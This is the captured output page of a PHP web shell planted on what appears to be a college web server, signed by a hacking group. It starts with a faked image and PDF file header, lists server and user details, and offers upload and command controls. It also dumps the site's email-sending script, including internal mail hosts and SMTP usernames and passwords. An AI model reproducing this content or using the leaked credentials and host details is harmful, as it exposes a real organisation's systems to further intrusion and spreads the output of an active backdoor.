GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/email/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/email/sendEmail.phpinc
<?
// sendEmail.phpinc

if (da()) debugTrackBegin();

// Verify mail fields.
#$mailSend = false;
if ( !isset($mailSend) ) $mailSend = true;
#$debugEmailOn = true;
if ( !isset($debugEmailOn) ) $debugEmailOn = false;
$mailMessage = '';
if ($mail->From == "") { $mailSend = false; $mailMessage .= 'From address not set. ($mail->From == "")<br>'; }
if (count($mail->to) == 0) { $mailSend = false;  $mailMessage .= 'To address not set. (count($mail->to) == 0)<br>'; }
if ($mail->Subject == "") { $mailSend = false;  $mailMessage .= 'Subject not set. ($mail->Subject == "")<br>'; }
if ($mail->Body == "") { $mailSend = false;  $mailMessage .= 'Body not set. ($mail->Body == "")<br>'; }
if ($mail->AltBody == "") { $mail->AltBody = "Please view this email in HTML format."; }

if ($debugEmailOn) {
	echo '<span style="font-weight:normal">';
	echo "<b>\$mail->From=</b>",$mail->From,": ",basename(__FILE__),": ",__LINE__,"<br>\n";
	echo "<b>\$mail->to=</b>"; print_r($mail->to); echo ": ",basename(__FILE__),": ",__LINE__,"<br>\n";
	echo "<b>\$mail->Subject=</b>",$mail->Subject,": ",basename(__FILE__),": ",__LINE__,"<br>\n";
	echo "<b>\$mail->Body=</b>",$mail->Body,": ",basename(__FILE__),": ",__LINE__,"<br>\n";
	echo "<b>\$mail->AltBody=</b>",$mail->AltBody,": ",basename(__FILE__),": ",__LINE__,"<br>\n";
	echo "<b>\$mailMessage=</b>",$mailMessage,": ",basename(__FILE__),": ",__LINE__,"<br>\n";
	$mailHost = "bunsen.ridgewater.edu";  // Specify main email server. Dave F tells me to use this address instead.
	foreach ($mail->to as $thisMailTo) {
		echo "<b>\$thisMailTo="; print_r($thisMailTo); echo "</b>: ",basename(__FILE__),": ",__LINE__,"<br>\n";
		if (!strstr($thisMailTo[0],"ridgewater.edu")) {
			$mailHost = "134.29.172.137";  // Email address not in ridgewater.edu domain. Specify backup email server. Dave F tells me to use this address instead.
		}
	}
	echo "<b>\$mailHost=",$mailHost,"</b>: ",basename(__FILE__),": ",__LINE__,"<br>\n";
	echo '</span>'."\n";
	#exit;
}

if ($mailSend) {
	// Send email.
	$mail->IsSMTP();                      // set mailer to use SMTP
	$mailHost = "bunsen.ridgewater.edu";  // Specify main email server.
	foreach ($mail->to as $thisMailTo) {
		if (!strstr($thisMailTo[0],"ridgewater.edu")) {
			$mailHost = "134.29.172.137";  // Email address not in ridgewater.edu domain. Specify backup email server. Dave F tells me to use this address instead.
		}
	}
	$mail->Host = $mailHost;  // specify mail server
	$mail->Host = "134.29.172.137";  // specify main and backup server. Dave F tells me to use this address instead.
	$mail->SMTPAuth = true;   // turn on SMTP authentication
	#$mail->Username = "CST";  // SMTP username
	#$mail->Password = "ridge1234"; // SMTP password
	$mail->Username = "cstwebserver";  // SMTP username
	$mail->Password = "none"; // SMTP password
	//$mail->WordWrap = 50;                                 // set word wrap to 50 characters
	//$mail->AddAttachment("/var/tmp/file.tar.gz");         // add attachments
	//$mail->AddAttachment("/tmp/image.jpg", "new.jpg");    // optional name
	if (!isset($mail->Body)) { $mail->Body = ''; }
	if ($mail->Body != '') {
		$mail->IsHTML(true);                                  // set email format to HTML
	} else {
		$mail->IsHTML(false);                                 // set email format to text
		$mail->IsHTML(true);                                  // set email format to HTML
	}
	/**/
	$messageBegin = '<html lang="en">
	<head>
	<style>
		/* Remove space around the email design. */
		html,
		body {
		margin: 0 auto !important;
		padding: 0 !important;
		height: 100% !important;
		width: 100% !important;
		}
		/* Stop Outlook resizing small text. */
		* {
		-ms-text-size-adjust: 100%;
		}
		/* Stop Outlook from adding extra spacing to tables. */
		table,
		td {
		mso-table-lspace: 0pt !important;
		mso-table-rspace: 0pt !important;
		}
		/* Use a better rendering method when resizing images in Outlook IE. */
		img {
		-ms-interpolation-mode:bicubic;
		}
		/* Prevent Windows 10 Mail from underlining links. Styles for underlined links should be inline. */
		a {
		text-decoration: none;
		}
	</style>
	</head>
	<body>
	';
	$messageEnd = '
	<table role="presentation" cellspacing="0" cellpadding="0" border="0">
		<tr style="vertical-align: top;">
			<td style="border-radius: 4px; background: #0077cc; color: #ffffff; padding: 3px;">
				<a class="button-a button-a-primary" href="'.$_SERVER['REQUEST_SCHEME'].'://'.$_SERVER['SERVER_NAME'].'/" style="font-family: sans-serif; font-size: 18px; font-weight: bold; line-height: 18px; text-decoration: none; color: #ffffff; border-radius: 4px;">
				&nbsp; Open cst.ridgewater.edu &nbsp;
				</a>
			</td>
		</tr>
	</table>
	</body>
	</html>
	';
	$mail->Body = $messageBegin . $mail->Body . $messageEnd;
	/**/
	if( !$mail->Send() ) {
		 $mailError = $mail->ErrorInfo;
		 $mailSend = false;
		 $mailMessage = "Message could not be sent.<p>Mailer Error: ".$mailError."<br>";
	} else {
		 $mailError = '';
		 $mailSend = true;
		 $mailMessage = "Message has been given to server.<br>";
	}
	/**/
} else {
	$mailError = 'Fields for email were not preset correctly.';
}
#d_Var('$mailError',$mailError,'d');

if (da()) debugTrackEnd();
?>

Anon7 - 2022
AnonSec Team